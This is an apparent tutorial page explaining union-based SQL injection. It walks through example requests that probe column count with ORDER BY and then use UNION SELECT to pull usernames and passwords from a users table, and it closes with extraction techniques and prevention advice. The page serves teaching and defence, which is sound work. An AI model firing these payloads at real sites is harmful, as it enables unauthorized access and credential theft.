Union-Based SQL Injection

Union-Based SQL Injection leverages the SQL UNION operator to combine the results of the original query with results from an attacker-controlled query. This allows direct extraction of data from other database tables.

How It Works

The UNION operator requires both queries to have the same number of columns with compatible data types. Attackers first determine the column count, then inject a UNION SELECT to retrieve data from arbitrary tables.

Example

Step-by-step Union attack:

// Original query (unknown to attacker)
SELECT name, price FROM products WHERE id=1

// Step 1: Determine column count using ORDER BY
GET /product?id=1 ORDER BY 1--   (works)
GET /product?id=1 ORDER BY 2--   (works)
GET /product?id=1 ORDER BY 3--   (error - only 2 columns!)

// Step 2: Find displayable columns
GET /product?id=1 UNION SELECT 'test1','test2'--

// Step 3: Extract data
GET /product?id=1 UNION SELECT username,password FROM users--

Techniques

  • Use NULL for unknown data types
  • Concatenate multiple columns: CONCAT(user,':',pass)
  • Use GROUP_CONCAT() to extract multiple rows
  • Query information_schema to discover tables

Prevention

  • Use parameterized queries
  • Whitelist allowed values for ORDER BY
  • Use ORM frameworks correctly

PentesterLab Exercises

See Also